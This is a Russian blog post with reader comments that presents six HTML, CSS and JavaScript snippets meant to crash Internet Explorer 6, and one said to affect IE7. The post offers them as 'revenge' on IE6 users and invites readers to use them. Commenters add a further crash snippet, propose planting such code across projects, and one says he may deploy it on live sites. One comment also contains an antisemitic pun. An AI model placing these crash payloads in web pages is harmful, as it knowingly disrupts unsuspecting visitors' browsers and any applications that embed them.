6 способов сломать Internet Explorer

Думаю всякий разработчик сталкивался с многочисленными проблемами и багами при разработке сайтов под IE 6. С прискорбием отмечу тот факт, что в ходе преодоления всех этих проблем было зверски убито огромное количество времени. Если же вам, уважаемые коллеги разработчики, все же захочется отомстить за это тем, кто еще пользуется IE 6, то вам возможно пригодятся приведенные ниже советы. Эти 6 способов являются кодами JavaScript, HTML, CSS, которые, присутствуя в веб странице, вызывают аварийное завершение работы Internet Explorer 6 (последний совет актуален также для седьмой версии):

Аварийное завершение работы Internet Explorer

Итак, первый метод – следующий цикл for:

<script>for (x in document.write) { document.write(x);}</script>

Метод номер два, обнаруженный в прошлом году:

<style>*{position:relative}</style><table><input></table>

Метод номер три – самый короткий из всех:

<STYLE>@;/*

Метод четыре – самый длинный из всех:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow: hidden;
      scrollbar-base-color: #330066;
      } 

      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }
    </style>

    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }

    function crashIE() {
        var moveNode = document.getElementById("move");
        if(moveNode) {
            moveNode.style.top = "100px";
            moveNode.style.left = "200px";
        }
    }
    </script>
</head> 

<body onload="galgenfrist();">

    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
    <table>
        <tbody>
        <tr>
        <td>
              <textarea></textarea>
        </td>
        </tr>
        </tbody>
    </table>
    </div> 

</body>
</html>

Метод номер пять – такое можно написать и случайно :) :

<body onLoad="window()">

Ну и последний, шестой метод уничтожает (по идее) Internet Explorer 7:

function getX( oElement ) {
    var iReturnValue = 0;
    while( oElement != null ) {
        iReturnValue += oElement.offsetLeft;
        oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

На этом все. Ломайте на здоровье :)

Источник

Maklay.com - Большой каталог товаров для спорта и активного отдыха
  • http://myopinion.net.ua/ Jman

    Если бы ещё, кроме аварийного завершения можно было бы подсунуть окошко, о том что майкрософт советует обновится до IE7. Сейчас редко ктьо проверяет под старые версии Оперы или Фаирфокс, а вот про ИЕ6 помнят всегда, хотя как мне кажется давно уже пора забыть про него. Надо всем, хоть както связанным с web плюнуть раз и навсегда на 6ого осла. Всё таки ИЕ7 боле сносен в рендере XHTML документов. Надо устроить флешмоб, и добавлять такой код на все проэкты, тем самым заставляя людей обновлятся до 7ой версии

  • admin

    @Jman
    Такое окошко сделать не сложно. Делаем его невидимым и пишем в нем что-то вроде “Майкрософт советует обновиться до ИЕ 7″. А потом добавляем условный цсс, который показывает такое окно для IE меньше седьмого:
    <!–[if lt IE 7]>
    <style>
    #my_message {display:block}
    </style>
    <![endif]–>

    Остается надеяться, что про ИЕ 6 действительно забудем очень скоро, а пока все же в логах он наблюдается очень часто.

  • http://dustweb.ru/ Dust

    5й действительно работает, не думал, даже в IETester

  • http://myopinion.net.ua/ Jman

    Прикольнее было бы, если бы писалось именно в окне аварийного завершения. Но и такой метод нормальный, вопрос в другом, успеет ли пользователь увидеть это окно

  • freebit

    Можно я добавлю еще один способ,раняющий IE6?

    var crash = document.getElementsByTagName;
    for(var i in crash){};

    По моему, можно использовать любой метод объекта DOCUMENT.

  • admin

    @freebit
    Спасибо за совет. IE6 сломался успешно, но у меня получилось только с getElementsByTagName.

  • freebit

    Не знаю как это объяснить, но у меня createElement,createTextNode,getElementById и даже write завалили ослика, не без помощи for(var x in object){}, конечно.
    А вообще странно как-то это все:( Вроде получаем ссылку на функцию-объект. Почему бы спокойно не перебрать свойства и все! Тем не менее свойсво функции prototype только огнелис видит,а все остальные не в курсе. Или может это я не в курсе?

  • admin

    @freebit
    Хм… Я ошибся где-то. Сейчас перепроверил, действительно ослик падает на всех функциях (я попробовал createElement и getElementById).

    …свойсво функции prototype только огнелис видит,а все остальные не в курсе. Или может это я не в курсе?

    Может мы и не в курсе, проверял только что в Opera DragonFly, он prototype не видит, а фаерфокс видит, короче каждый браузер работает как хочет… ну а ослик просто падает :)

  • freebit

    Даже жалко его немного.

  • http://ussrgeo.ru Kran

    Это типа не гласного противостояния разработчикам IE? А как ПС на это отреагируют? В бан не попадешь?

  • admin

    @Kran
    Сомневаюсь, что кто-нибудь в реальном проекте будет использовать все эти капканы на ослика. Это скорее наглядная демонстрация того, каким отстоем является ИЕ. Можно назвать это противостоянием, или антирекламой, которую делаю с превеликим удовольствием. Что касается поисковиков, не могу сказать, вычисляют они такие коды и ли нет.

  • freebit

    А вы знаете, мне кажется, что я могу это использовать на проектах, необремененных
    финансовыми сапогами.О результатах расскажу.

  • http://snowcore.net/ Snowcore

    Чтобы сломать IE, достаточно просто открыть этого глюкавого осла…

  • Andrew

    При попытке сохранить документ с кодом из номера два Dr.Web ругается на вирус и удаляет файл.

  • Дмитрий

    Как-бе есть некоторые пользователи, которые считают себя продвинутыми, и для веба пользуются операми и жидо-лисами. Они забывают, что пользуясь ХP – в офисных приложениях… в некоторых приложениях, где IE вызывается через API, … короче ебаный стыд. Не забывайте, что HTML код существует не только в веб.

  • admin

    @Дмитрий
    Согласен с вами, как то не подумал об это раньше. Но тем не менее, это ж просто прикол, никто не собирается ломать то, что работает больше чем у половины пользователей.

JSToolbox создан на основе WordPress